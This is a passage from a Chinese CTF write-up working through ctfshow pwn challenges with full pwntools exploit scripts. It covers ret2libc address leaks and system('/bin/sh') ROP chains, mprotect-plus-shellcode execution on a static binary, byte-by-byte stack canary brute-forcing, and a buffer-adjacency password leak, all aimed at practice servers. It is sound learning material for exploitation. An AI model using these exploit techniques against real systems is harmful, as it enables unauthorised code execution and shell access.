显然需要再多接收一些,但是接收要有个限度,需要有个标准,回顾需求,我们只需要泄露的地址,而由于libc中的地址一般是以0xf7
开头(通过vmmap就能看出),这是重要特征且干扰较小(因为在该局部范围内除了该泄露地址外的其他数据几乎不会有这个特征),因此可作为接收的终点标志,因此我们就可以改用recvuntil()
;
recvuntil()
会在接收到特定的结束标志(该处即/xf7
)之前,持续从标准输入的缓冲区中读取数据,这意味着它会尽可能多地捕获输出,直到遇到该标志,这样就能够确保捕获到足够的字节,包括泄露的完整write函数实际地址。 由于此时接收到的数据长度很可能大于或等于 4 字节,因此可以安全地使用u32()
来解包最后的4个字节。
检验从标准输入的缓冲区中是否读取到的字节数不够,从下面给出的简单代码片段也能得到验证:
。。。
io.sendlineafter(delimiter,pld1)
data = io.recv()
print(f"Received data: {data} (length: {len(data)})")
if len(data) < 4:
raise ValueError("Received data is less than 4 bytes")
leak_write = u32(data[0:4])
用
recvuntil()
也确实接收到了泄露地址:
0xf7e6b6f0
(注意该地址在实际测试中发现每次运行后并不是固定的,也就是程序运行后分配给write函数的实际内存地址)
接着就是搜索libc地址,记得开头引入库: from LibcSearcher import *
# 根据泄露地址搜索libc版本
libc = LibcSearcher("write", leak_write)
注意这里出现了多个可能的libc结果,但是选项不多,可以挨个尝试,以最终是否能够打通来做验证(注意这题很容易出现本地打不通一直卡着而远程却能打通的情况,因为这道题对libc版本要求较为苛刻,然后环境变量默认指向的是本地默认的libc库), 另外发现返回的libc对象中,不仅打印出对应libc版本号,还有几个经常使用的符号(函数、字符串)在libc中的相对偏移量。 既然知道了libc版本,就可以继续计算出libc基地址以及更多需要的偏移:
# 计算libc基地址与需要的偏移
libc_base = leak_write - libc.dump("write")
print("real_libc_base:" + hex(libc_base))
system = libc_base + libc.dump("system")
print("real_system_addr:" + hex(system))
binsh = libc_base + libc.dump("str_bin_sh")
print("real_binsh_addr:" + hex(binsh))
验证成功。
最后一步,利用上面计算获取到的system和sh参数再溢出一次即可:
pld2 = padding * b'a' + p32(system) + p32(main) + p32(binsh)
io.sendlineafter(delimiter, pld2)
io.interactive() # 打通后获得一个交互式shell
补充: 另外,通过上述gdb调试过程中,当我们首次调用write前后,观察gdb的输出,能够更加具象化地体会到GOT、PLT之间的配合,以及各个输出代表的含义,许多地方都能一一对应上: 符号表获取到的:
首次调用write时:
注意这里找到
got.plt
后,不是直接跳转到实际的write地址处,而是要先经过_dl_runtime_resolve
_dl_runtime_resolve
是动态链接器中的一个关键函数, 当程序调用某个动态链接的函数时,运行时系统会通过它查找该符号的地址,解析出符号地址后, 动态链接器会在全局偏移表中更新相应的条目,以便后续调用能够直接使用这个地址,而不需要再次解析, 所以它在延迟绑定中起到非常关键的作用。
然后调试过程中尝试在内存中将返回地址修改为write函数地址,也就是write函数第一次调用完再重新调用一次,看看此时发生的变化: ret前修改内存值为write的调用位置0x80483b0
: 再ni一步,看看是否成功修改了执行流,发现修改成功,并且第二次调用write时不再有
_dl_runtime_resolve
解析符号地址的步骤,印证了上述的分析:
- pwn46:
描述:64位 无 system 无 "/bin/sh"
查看保护与程序运行情况: 函数几乎与pwn45的没多大差别,计算出padding为120。整体利用思路也一样,无非就是amd64传参时需要借助gadgets来实现ROP以及传参时部分构造顺序的不同罢了,构造时举一反三即可。 首先用ropper大致摸排一下可用的gadgets大致情况:
发现第三个参数没办法用
rdx
来传递,但是存在r15,因此构造exp如下:
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
from rop_builder import build_rop_chain # 引入ROP动态链构造模板
context(log_level='debug', arch='amd64', os='linux') # 调试信息
pwnfile = './pwn46' # 要pwn的程序及其路径
#io = process(pwnfile) # 创建进程对象
io = remote('pwn.challenge.ctf.show', 28177) # 远程连接
elf = ELF(pwnfile) # 加载 ELF 文件
libc = ELF(pwnfile)
padding = 120 # 填充长度
# 泄露GOT表中存储的write实际地址
write_plt = elf.plt['write']
print("write_plt_addr:" + hex(write_plt))
write_got = elf.got['write']
print("write_got_addr:" + hex(write_got))
main = elf.symbols['main'] # write的返回
# 创建ROP对象
rop = ROP(elf)
# 动态传递需要的 gadgets 列表和其他地址
gadgets = ['pop rdi', 'pop rsi'] # 可以根据需要修改
addresses = {
'0': 0x0, # 使用字典存储地址
'write_got': write_got,
'8': 0x8,
'write_plt': write_plt,
'main': main
}
# 定义 ROP 链的构造顺序
order = ['pop rdi', '0', 'pop rsi', 'write_got', '8', 'write_plt', 'main'] # 自由定义顺序
# 使用导入的函数构造 ROP 链
pld1 = b'A' * padding + build_rop_chain(elf, gadgets, addresses, order)
delimiter = 'O.o?'
io.sendlineafter(delimiter,pld1)
# 初步测试是否能够接收到
#leak_write = u64(io.recv()[0:8])
# 验证是否接收不够
#data = io.recv()
#print(f"Received data: {data} (length: {len(data)})")
#if len(data) < 8:
# raise ValueError("Received data is less than 8 bytes")
# 正确的接收泄露地址方式
leak_write = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("leak_write_addr:" + hex(leak_write))
# 根据泄露地址搜索libc版本
libc = LibcSearcher("write", leak_write)
# 计算libc基地址与需要的偏移
libc_base = leak_write - libc.dump("write")
print("real_libc_base:" + hex(libc_base))
system = libc_base + libc.dump("system")
print("real_system_addr:" + hex(system))
binsh = libc_base + libc.dump("str_bin_sh")
print("real_binsh_addr:" + hex(binsh))
# pwndbg 附加调试
# gdb.attach(io)
# pause()
# 动态传递需要的 gadgets 列表和其他地址
gadgets = ['pop rdi'] # 可以根据需要修改
addresses = {
'binsh': binsh,
'system': system
}
# 定义 ROP 链的构造顺序
order = ['pop rdi', 'binsh', 'system'] # 自由定义顺序
# 使用导入的函数构造 ROP 链
pld2 = b'A' * padding + build_rop_chain(elf, gadgets, addresses, order)
io.sendlineafter(delimiter, pld2)
io.interactive() # 打通后获得一个交互式shell
ROP构造链模板见pwn39~pwn40。 这里要注意amd64时,libc的地址开头变成了\x7f
,更重要的是,截取地址时一般取6位,ljust是用于自动满足栈对齐,然后指定用0x00
来填充。
pwn48
考察点:基本ret2libc
描述:没有write了,试试用puts吧,更简单了呢
查看保护与程序运行情况: 函数情况:
显然就是之前的程序,gdb计算出padding为111。 根据提示,把原来泄露目标由write改为puts即可。 exp:
# -*- coding: utf-8 -*-
from pwn import *
import subprocess
from LibcSearcher import *
context(log_level='debug',arch='i386',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './pwn48' # 要pwn的程序及其路径
#io = process(pwnfile) # 为程序创建一个io进程对象
io = remote('pwn.challenge.ctf.show',28313) # 打远程则开启这个并注释掉前一个
elf = ELF(pwnfile)
libc = ELF(pwnfile)
padding = 111
# 泄露GOT表中存储的puts实际地址
puts_plt = elf.plt['puts']
print("puts_plt_addr:" + hex(puts_plt))
puts_got = elf.got['puts']
print("puts_got_addr:" + hex(puts_got))
main = elf.symbols['main'] # puts的返回
pld1 = padding * b'a' + p32(puts_plt) + p32(main) + p32(puts_got)
delimiter = 'O.o?'
io.sendlineafter(delimiter,pld1)
# 初步测试是否能够接收到
#leak_puts = u32(io.recv()[0:4])
# 验证是否接收不够
#data = io.recv()
#print(f"Received data: {data} (length: {len(data)})")
#if len(data) < 4:
# raise ValueError("Received data is less than 4 bytes")
# 正确的接收泄露地址方式
leak_puts = u32(io.recvuntil('\xf7')[-4:])
print("leak_puts_addr:" + hex(leak_puts))
# 根据泄露地址搜索libc版本
libc = LibcSearcher("puts", leak_puts)
# 计算libc基地址与需要的偏移
libc_base = leak_puts - libc.dump("puts")
print("real_libc_base:" + hex(libc_base))
system = libc_base + libc.dump("system")
print("real_system_addr:" + hex(system))
binsh = libc_base + libc.dump("str_bin_sh")
print("real_binsh_addr:" + hex(binsh))
# pwndbg附加调试
#gdb.attach(io)
#pause()
pld2 = padding * b'a' + p32(system) + p32(main) + p32(binsh)
io.sendlineafter(delimiter, pld2)
io.interactive() # 打通后获得一个交互式shell
pwn49(待解决残留问题)
考察点:静态编译程序ROP、利用mprotect修改内存属性写入shellcode(ret2BSS/ret2DATA)、内存页的理解
描述:静态编译?或许你可以找找mprotect函数
查看保护与程序运行情况: 发现此时保护中发生了些变化,存在Canary(但参考官方wp后,实际上是由于checksec版本较低导致的误报)。另外,观察相对较大的文件size,确实像是静态编译过的程序,通过vmmap查看,确实是静态的,因为没有任何的libc和其他库:
gdb计算padding为22。 查看ida,发现静态编译后的程序多了一大堆复杂名字的函数,有种除了main函数外其他都懒得看的感觉。
还是和前面的题类似,唯一不同的是,现在是静态编译,无法再通过ret2libc的方法来获取system函数和sh参数。 只能根据提示看看所谓的
mprotect
函数具体是什么内容: 总之就是能够实现修改某部分内存区域的权限,因此可以尝试在该区域写入shellcode,从而实现控制程序执行。(虽然程序开启了NX保护,但如果利用该函数在栈外的内存空间进行修改,此时就相当于绕过了NX) 其中,prot可以取以下几个值,并且可以用
|
将几个属性合起来使用: 1)PROT_READ:表示内存段内的内容可写; 2)PROT_WRITE:表示内存段内的内容可读; 3)PROT_EXEC:表示内存段中的内容可执行; 4)PROT_NONE:表示内存段中的内容根本没法访问。 5) prot=7 是可读可写可执行
但问题在于,具体该修改哪个内存区域?可以随便修改吗? 参考了官方wp,答案是不能,因为mprotect修改内存属性时有条件: 指定的内存区间必须包含整个内存页 (4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍
在现代操作系统中,内存管理通常采用分页机制。每个进程的虚拟地址空间被划分为固定大小的页面,通常是 4KB,每个页都有一个对应的页表项,记录其物理地址和访问权限。内存页的引入,好处在于使操作系统可以更高效地管理内存,因为每个页面的大小是固定的,另外每个页面可以有不同的访问权限,单独管理,从而提高安全性。理解时,可以将整个虚拟内存空间类比成一本书,只不过每一页都只能是固定的页面尺寸,比如只能是A4。
起始地址必须是对齐的内存页起始地址,这是因为操作系统在管理内存时是以页为单位的。如果起始地址不对齐,会导致内存管理复杂化。假设内存页大小为 4KB(十进制4096),那么有效的起始地址应该是 0x0000、0x1000、0x2000 等(
0x1000H=4096D
,0x2000H=(4096*2)D
,也就是刚好能被每页的大小整除,所以这叫起始地址对齐)。而如果起始地址是 0x0100,那么第一页的0x0100前部分将被忽略,这会导致内存管理的不一致和浪费。区间长度必须是页大小的整数倍,这样可以确保整个区间覆盖完整的内存页,否则,最后一页的某一部分将被忽略或处理不当。总之,如果不满足这两个条件就破坏了内存页管理的完整性。
所以接下来思路很明确了,在栈外的内存空间找一个满足mprotect利用条件的内存空间,记下起始地址;填充完padding后,先跳转到mprotect函数,寻找一个同时包含3个pop+末尾1个ret
的gadget,传递mprotect的参数,接着跳转到read函数,同理用同一个gadget为read传参,因为我们需要用read读取标准输入中的shellcode到该可控属性的内存空间从而执行。
- 寻找满足条件的内存空间:
ida中用ctrl+s
查看各个段信息,只要看各个起始地址的后四位是否为(0x1000即4KB)的整数倍即可,虽然第一个也满足条件,但它是代码段,显然是在栈中,而.got.plt
则是在程序的全局数据段不属于栈内,所以需要的起始地址为0x80DA000
- 寻找满足条件的gadget:
0x080a019b
- 构造最终exp:
# -*- coding: utf-8 -*-
from pwn import *
context(log_level='debug', arch='i386', os='linux') # 调试信息
pwnfile = './pwn49' # 要pwn的程序及其路径
#io = process(pwnfile) # 创建进程对象
io = remote('pwn.challenge.ctf.show', 28305) # 远程连接
elf = ELF(pwnfile) # 加载 ELF 文件
libc = ELF(pwnfile)
padding = 22 # 填充长度
mprotect = elf.sym['mprotect']
print("mprotect_addr:" + hex(mprotect))
read = elf.sym['read']
print("read_addr:" + hex(read))
gadget = 0x080a019b
mem_start = 0x80DA000
mem_size = 0x1000 # 即只修改完整的一页(4KB)
mem_proc = 0x7 # 可读可写可执行
read_size = mem_size # 够shellcode完整写入就行,不妨直接设为一个完整页
# unsigned int __cdecl mprotect(const void *a1, size_t a2, int a3)
pld = padding * b'A' + p32(mprotect) + p32(gadget) + p32(mem_start) + p32(mem_size) + p32(mem_proc)
# ssize_t read(int fd, void *buf, size_t count); 其中buf是要将shellcode写入到的位置
pld += p32(read) + p32(gadget) + p32(0) + p32(mem_start) + p32(read_size) + p32(mem_start)
# pwndbg 附加调试
# gdb.attach(io)
# pause()
delimiter = ''
# 第一次发送,利用mprotect修改指定内存空间属性,然后等待read读取第二次标准输入中的shellcode
io.sendlineafter(delimiter,pld)
# 第二次发送,构造shellcode
shellcode = asm(shellcraft.i386.linux.sh())
io.sendline(shellcode)
io.interactive() # 打通后获得一个交互式shell
注意对于第二个pld的最后一个p32(mem_start)
不能漏,否则无法利用成功。 至于为什么要加这个,原因暂时还没研究出来,待解决。 (水委师傅给了很深刻的解释,待整理)
pwn50(待完善方法二)
pwn47
考察点:基本ret2libc、利用recvuntil动态接收变化的函数地址并用eval转地址为整数
描述:ez ret2libc
查看保护与程序运行状态: gdb计算出padding为160。 ida的main函数:
ctfshow函数:
main的useful看起来有些可疑,跟进看看:
发现给的就是
/bin/sh
的地址,即最初运行时对应的gift
:0x804b028
另外既然已经直接给出了一些常用函数的地址,就无需再像上面的题目一样利用延迟绑定来泄露。 直接构造exp:
# -*- coding: utf-8 -*-
from pwn import *
import subprocess
from LibcSearcher import *
context(log_level='debug',arch='i386',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './pwn47' # 要pwn的程序及其路径
#io = process(pwnfile) # 为程序创建一个io进程对象
io = remote('pwn.challenge.ctf.show',28307) # 打远程则开启这个并注释掉前一个
elf = ELF(pwnfile)
libc = ELF(pwnfile)
padding = 160
puts = 0xf7d61c40
binsh = 0x804b028
main = elf.symbols['main']
# 根据泄露地址搜索libc版本
libc = LibcSearcher("puts", puts)
# 计算libc基地址与需要的偏移
libc_base = puts - libc.dump("puts")
print("real_libc_base:" + hex(libc_base))
system = libc_base + libc.dump("system")
print("real_system_addr:" + hex(system))
# pwndbg附加调试
#gdb.attach(io)
#pause()
pld = padding * b'a' + p32(system) + p32(main) + p32(binsh)
delimiter = 'time:'
io.sendlineafter(delimiter, pld)
io.interactive() # 打通后获得一个交互式shell
然而并没有搜索到libc版本: 然而多次运行发现每次生成的这些函数地址都是不一样的。因此参考了官方的wp,给出了很好的exp方案: 只需要将puts和gift(binsh)获取方式由静态改为动态获取即可:
io.recvuntil("puts: ")
puts = eval(io.recvuntil("\n" , drop = True))
io.recvuntil("gift: ")
bin_sh = eval(io.recvuntil("\n" , drop = True))
第一次的recvuntil主要用于跳过前面没用的提示语句并等待puts生成的地址;第二次则是继续接收生成的地址,知道遇到换行符,drop = True
表示在返回结果时去掉结束字符串(即不包括换行符),eval则用于执行,即计算字符串中的 Python 表达式(这里是十六进制地址的字符串),并返回字符串转整数的计算结果,这里用eval并不是空穴来风,因为传输的地址不能为字符串而应该是整数: 拿到flag:
考察点:动态链接程序利用mprotect修改内存属性写入shellcode(ret2BSS/ret2DATA)
描述:好像哪里不一样了 远程libc环境 Ubuntu 18
查看保护与程序运行情况: ida各函数:
gets读取不限长度,所以存在溢出。本地未找到system和sh。gdb计算padding为40。 依旧先尝试ret2libc:
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
from rop_builder import build_rop_chain # 引入ROP动态链构造模板
context(log_level='debug', arch='amd64', os='linux') # 调试信息
pwnfile = './pwn50' # 要pwn的程序及其路径
#io = process(pwnfile) # 创建进程对象
io = remote('pwn.challenge.ctf.show', 28103) # 远程连接
elf = ELF(pwnfile) # 加载 ELF 文件
padding = 40 # 填充长度
# 泄露GOT表中存储的puts实际地址
puts_plt = elf.plt['puts']
print("puts_plt_addr:" + hex(puts_plt))
puts_got = elf.got['puts']
print("puts_got_addr:" + hex(puts_got))
main = elf.symbols['main'] # puts的返回
# 创建ROP对象
rop = ROP(elf)
# 动态传递需要的 gadgets 列表和其他地址
gadgets = ['pop rdi'] # 可以根据需要修改
addresses = {
'puts_got': puts_got,
'puts_plt': puts_plt,
'main': main
}
# 定义 ROP 链的构造顺序
order = ['pop rdi', 'puts_got', 'puts_plt', 'main'] # 自由定义顺序
# 使用导入的函数构造 ROP 链
pld1 = b'A' * padding + build_rop_chain(elf, gadgets, addresses, order)
delimiter = 'CTFshow'
io.sendlineafter(delimiter,pld1)
# 初步测试是否能够接收到
#leak_puts = u64(io.recv()[0:8])
# 验证是否接收不够
#data = io.recv()
#print(f"Received data: {data} (length: {len(data)})")
#if len(data) < 8:
# raise ValueError("Received data is less than 8 bytes")
# 正确的接收泄露地址方式
leak_puts = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("leak_puts_addr:" + hex(leak_puts))
# 根据泄露地址搜索libc版本
libc = LibcSearcher("puts", leak_puts)
# 计算libc基地址与需要的偏移
libc_base = leak_puts - libc.dump("puts")
print("real_libc_base:" + hex(libc_base))
system = libc_base + libc.dump("system")
print("real_system_addr:" + hex(system))
binsh = libc_base + libc.dump("str_bin_sh")
print("real_binsh_addr:" + hex(binsh))
# 动态传递需要的 gadgets 列表和其他地址
gadgets = ['pop rdi', 'ret'] # 可以根据需要修改
addresses = {
'binsh': binsh,
'system': system
}
# 定义 ROP 链的构造顺序
order = ['pop rdi', 'binsh', 'ret', 'system'] # 自由定义顺序
# 使用导入的函数构造 ROP 链
pld2 = b'A' * padding + build_rop_chain(elf, gadgets, addresses, order)
# pwndbg 附加调试
#gdb.attach(io)
#pause()
io.sendlineafter(delimiter, pld2)
io.interactive() # 打通后获得一个交互式shell
注意由于是amd64,要注意栈对齐,因此这里比起pwn45多加了个ret。ROP动态链构造模板参考pwn40。
为了学习深入些,学习下官方wp中的方法,发现原来动态链接程序也是可以用mprotect
来利用,利用思路与pwn49一样,只不过前面依旧还是先泄露libc,把后边通过system和sh替换成mprotect
的修改属性并注入shellcode方式。 先查看是否有可作为修改内存属性的内存起始地址(除.text
外,因为受NX影响),可以通过ida的ctrl+s
或objdump: 显然只有
.got.plt
头符合mprotect
的利用条件(原理详解参考pwn49) 然后寻找可间接传递存储三个参数的gadgets: 接着可以构造exp,但是在尝试过程中发现实际上这样打不通,因为如果仅仅只是通过本地elf中的gadgets来实现利用,是无法成功的, 具体原因:
官方拿到的gadgets:
其中libc可以从在线libc数据库网站上直接下载:
但显然,这是由于之前方法一的ret2libc中经实践知道该libc版本是能打通的,所以选择它,而实际利用时,我们只能逐个尝试(注意要符合架构) 或者其他途径了。 接着,我们需要从该libc中指定需要的gadgets而不是从本地elf。 (待完善,发现即使用官方wp也打不通,原因暂时未知)
pwn51(待)
考察点:c++代码分析、
描述:I'm IronMan
查看保护与程序运行情况: ida中的函数:
首先分别进入这几个函数根据功能修改其函数名,方便分析:
(快捷键
N
) 跟进到ctfshow函数中,发现和以往分析的目标都不太一样,经了解这是c++写的程序,没有c++基础的师傅看到这里估计和我一样有些头疼,只好借助ai辅助分析下:
int ctfshow()
{
int v0; // eax
int v1; // eax
unsigned int v2; // eax
int v3; // eax
const char *v4; // eax
int v6; // [esp-Ch] [ebp-84h]
int v7; // [esp-8h] [ebp-80h]
_DWORD v8[3]; // [esp+0h] [ebp-78h] BYREF
char s[32]; // [esp+Ch] [ebp-6Ch] BYREF
char v10[24]; // [esp+2Ch] [ebp-4Ch] BYREF
char v11[24]; // [esp+44h] [ebp-34h] BYREF
unsigned int i; // [esp+5Ch] [ebp-1Ch]
memset(s, 0, sizeof(s));
puts("Who are you?");
read(0, s, 0x20u);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(
(int)&unk_804D0A0,
(int)&unk_804A350);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804D0A0, s);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v10, &unk_804D0B8);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v11, &unk_804D0A0);
sub_8048F06(v8);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v11, v11, v10);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v10, v6, v7);
if ( sub_80496D6(v8) > 1u )
{
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(
(int)&unk_804D0A0,
(int)&unk_804A350);
v0 = sub_8049700(v8, 0);
if ( (unsigned __int8)sub_8049722(v0, (int)&unk_804A350) )
{
v1 = sub_8049700(v8, 0);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804D0A0, v1);
}
for ( i = 1; ; ++i )
{
v2 = sub_80496D6(v8);
if ( v2 <= i )
break;
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804D0A0, "IronMan");
v3 = sub_8049700(v8, i);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804D0A0, v3);
}
}
v4 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&unk_804D0A0);
strcpy(s, v4);
printf("Wow!you are:%s", s);
return sub_8049616(v8);
}
首先关注熟悉的部分,栈溢出常客read函数从标准输入读取32字节写入到同样是32字节的s中,可能存在栈溢出,因为别忽略了末尾的\x00
,接着就是另一位常客strcpy,v4是一个字符串指针,指向的值长度不确定,也有存在溢出的可能性,接下来就是一大堆陌生的std::
开头的代码,只需要知道整体做了什么就行,这些来自于C++ 标准库中的 std::string 类,用于处理字符串,其中operator=:
用于将后面的字符串赋值给前面的字符串,operator+=:
用于将后面的字符串追加到前面的字符串后。整体来看(emmmmmm....暂时放弃了,官方wp说是将字符"I"替换成了"IronMan",最后在strcpy的时候发生了溢出,但是苦于在代码中暂时分析不出来,先跳过了。。。)
pwn52
考察点:基本的传参ret2win
描述:迎面走来的flag让我如此蠢蠢欲动
查看保护与程序运行情况: ida中函数:
显然gets存在栈溢出,不限输入长度。
关注if,满足两个赋值条件后才能够输出文件流中存储的flag内容。
gdb计算出padding为112。所以思路很清晰了,通过gets的溢出,控制返回到flag函数,同时传递满足条件的参数,就能够拿到flag值。
# -*- coding: utf-8 -*-
from pwn import *
import subprocess
from LibcSearcher import *
context(log_level='debug',arch='i386',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './pwn52' # 要pwn的程序及其路径
#io = process(pwnfile) # 为程序创建一个io进程对象
io = remote('pwn.challenge.ctf.show',28195) # 打远程则开启这个并注释掉前一个
elf = ELF(pwnfile)
libc = ELF(pwnfile)
padding = 112
a1 = 876
a2 = 877
flag = elf.sym['flag']
main = elf.sym['main']
pld1 = padding * b'a' + p32(flag) + p32(main) + p32(a1) + p32(a2)
delimiter = 'want?'
io.sendlineafter(delimiter,pld1)
# pwndbg附加调试
#gdb.attach(io)
#pause()
io.interactive() # 打通后获得一个交互式shell
发现没什么新鲜的考点,就是最基本的传参ret2win,无非加了点条件。
pwn53
考察点:canary原理的理解、canary爆破基本流程、-1绕过无符号型输入限制、strcmp逐字节比较
描述:再多一眼看一眼就会爆炸
查看保护与程序运行情况: 看来需要先写入一个canary在根目录,根据提示,这题考察canary原理。写入后,重新检查:
还是没有检测出canary,但是可以正常运行了。再次探针该功能:
所以第一部分输入指定buffer长度,第二部分指定要向buffer中写入的值,超过长度部分的会舍弃掉。 ida中函数:
从刚刚写入的canary文件流中读取4个字节的canary(一段随机字符串)写入到
global_canary
中。 出现了挺多变量,需要知道各自的用途,因为对于关键逻辑的理解都重要,while循环从标准输入中逐个读取字符串并存储,每次读取1字节,v2用于存储第一次输入中的字符串(表示写入buffer的字节数),v5控制着能输入的字符串最大长度,
if (v2[v5] == 10):
主要检查从输入中读取的字符是否为换行符(ASCII值10),如果是,则执行break退出循环;第二次输入前,sscanf从v2中读取字符串并解析成整数后存储到nbytes,接着第二个read从标准输入中读取nbytes个字符,写入到buf,而由于nbytes可控,如果值大于buf的长度,显然就会存在缓冲区溢出。最后的if则最为关键,用于栈保护检查,检查canary是否发生了更改,具体是比较当前存储的canary与原始设置的全局canary前四个字节,如果比较结果不为0(相减后不等于0,即两者不同),则说明可能是栈溢出将其覆盖了,则此时强制退出程序,这也就是canary保护的原理。不过要注意的是,这题只是模拟canary保护便于理解原理【参考相应wiki】,而并不是按照canary原本的设置机制,因此checksec没有检测出来。
所以此时绕过canary的思路也很清晰,也就是在溢出前我们需要想办法泄露(爆破)出设置的原始canary值,接着在栈溢出后,在合适的比较canary时的位置填充上该原始值,从而让其检测成功实现bypass,接着最终将控制流跳转到flag函数,即可拿到flag。但需要注意的是,通常情况下爆破canary的可能性较小,因为爆破意味着程序会出现大量的崩溃,而程序崩溃后canary值也会重新生成,值是动态的(会与TLS进行联动),且除去低位固定的起到截断作用的\x00
,剩余3个字节的爆破还有0x100^3
种情况(每个字节可选数值从0x00~0xFF,即256=0x100,但实际上由于canary的生成规则会小于这个值),而本题模拟的canary是静态的(与TLS无关),所以存在爆破的可能性。 从gdb中也能看出Canary是一个固定值: 但由于此处是本地自己随意写入到文件的,而不知道远程的是什么,要打通远程就得爆破。
至于为什么可以逐个字节爆破,是由于本题的canary检测逻辑就是逐字节读取的同时逐字节检测的,我们可以很容易从gdb的反汇编代码中看出,由ida结果可知校验逻辑在ctfshow函数的memcmp(memory compare),那么就在gdb调试到其内部:
发现底层比较是
movzx
和cmp
,前者从memcmp
原型的str1
和str2
中分别加载一个字节,然后用cmp
进行比较,即实现了逐字节比较,比较完后接着又跳转回read继续读取下一个字节,然后继续比较,如此往复。
int memcmp(const void *str1, const void *str2, size_t n)
- str1 -- 指向内存块的指针。
- str2 -- 指向内存块的指针。
- n -- 要被比较的字节数。
返回值: < 0
,则表示 str1 小于 str2。 > 0
,则表示 str1 大于 str2。 = 0
,则表示 str1 等于 str2。
另外经测试,当仅在payload中每次提供单个字节,也能佐证上述结论:
# -*- coding: utf-8 -*-
from pwn import *
# 测试是否逐字节检测canary
context(log_level='debug', arch='i386', os='linux') # 调试信息
io = process('./pwn53')
io.sendlineafter(b'>', b'-1')
canary = 0x6a
payload = b'a' * 0x20 + p8(canary)
io.sendafter(b'$ ', payload)
io.recv(1)
ans = io.recv()
print(ans)
其中,本地canary文件如下: 对应的hex就是
0x6a6c666a
。 执行脚本: 而如果将payload中的canary单字节改成其他的如
0x6d
: 报错canary值错误,显然通过对比就能说明是逐字节检测。
注意:正常来说即使canary值检测到错误,
stdout
或stderr
中不会输出该提示语。本题有输出是因为仅模拟canary的检测,故意设置的。
其中第一次输入用-1
来绕过长度限制: 【学习自水委师傅的wp】
另外注意,0x20
即padding并不再像往常那样直接通过cyclic计算,因为此时有了canary,当多余的输入覆盖到canary位置,就会直接报错而不是返回段错误信号,因此程序并未中断也就计算不出来cyclic的值: 但本题可以通过是否返回报错提示语从而间接判断输入多少不会覆盖到canary。 同理,还可以接着附加第二个字节,同样也证明是逐字节检测:
把canary改成
0x6a
:
推测如果canary校验的底层逻辑是用如
xor
指令将对象视为整体来比较的,或许就没有办法逐字节爆破,因为不管前几个字节与canary的对应上,整体始终都是错的,每次的响应都是检测到canary不匹配,没有爆破的判断依据。
综上证明,能够爆破canary,而爆破需要有回显依据来判断当前字节是否爆破成功,即前面两种不同提示语,逐字节爆破每次都只需要考虑0-255
,显然比完整爆破更有效率,故编写payload如下,以下学习自官方wp并稍加修改:
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'critical' # 设置日志等级,忽略过多调试输出干扰
def brt_canary():
global canary
canary = b''
for i in range(4): # 外层,爆破四个字节
for x in range(0xFF): # 内层,每个字节取0~0xFF
pwnfile = './pwn53'
io = process(pwnfile)
#io = remote('pwn.challenge.ctf.show', 28178)
io.sendlineafter(b'>', b'-1')
pld = b'A' * 0x20 + canary + p8(x) # 逐字节爆破,注意下一轮循环前canary值要刷新,然后再附加到pld
io.sendafter(b'$ ', pld)
#io.recv(1) # 相当于sleep,提高打远程时的稳定性
ans = io.recv() # 接收提示语,从而根据其验证爆破成功与否
print(ans)
if b'Canary Value Incorrect!' not in ans:
print(f'the({i})index, find canary({x})!')
canary += p8(x)
break
else:
print('trying......')
io.close()
print(f'canary= {canary.hex()}')
def exp():
pwnfile = './pwn53'
io = process(pwnfile)
#io = remote('pwn.challenge.ctf.show', 28178)
elf = ELF(pwnfile)
flag = elf.sym['flag']
main = elf.sym['main']
io.sendlineafter(b'>', b'-1')
pld2 = b'a' * 0x20 + canary + p32(0) * 4 + p32(flag)
io.sendafter(b'$ ', pld2)
io.interactive()
if __name__ == '__main__':
brt_canary()
exp()
其中爆破canary的整体逻辑几乎是通用的,根据题目设置做灵活调整即可;另外在接收响应中完整提示语之前,加一个io.recv(1)
的作用相当于sleep()
,这样做是确保打远程时不会因为发送太快而崩掉: 在爆破完canary后,劫持程序执行流到flag函数即可,注意这里的
p32(0) * 4
,即我们爆破的canary到ret返回地址的偏移量,这可以从ida的栈分布中看出:
pwn54
考察点:
- 描述:
再近一点靠近点快被融化
查看保护与程序运行情况: 显然,程序需要读取来自文件中正确的密码才能获取flag。 ida查看各函数:
显然现在问题关键就在于如何找到
password.txt
中的内容。到这里不知道这题要考察什么,故学习官方wp: 由于main函数中,输入buffer对应的变量v5
与读取flag文件内容赋予的变量s
在同一个栈结构中,v5
是可以覆盖到s
的:
两者间隔的偏移量是
0x160-0x60=0x100
,正好等于v5设定的长度256
,所以可以看作"padding",将v5填满,后续中的put函数将输出v5的值,而存在风险的就是put函数,因为put函数可以无限输出,直到遇到换行符才停止,这就意味着,如果并非输入正常值而是0x100个垃圾数据(长度>=256
),那么最后一个换行符就不在if判断的区间范围内,没法读入/n
所以无法替换为\x00
从而结束,导致会继续输出紧跟其栈分布后的s
存储的值,即泄露密码值。 首先尝试本地打通,以验证上述结论,取cyclic(0x100)发送: 观察到该字符串后就是本地设置的密码,所以当我们接收时需要分两次,以字符串作为分隔符,然后输出其后的密码内容。所以,exp如下:
from pwn import *
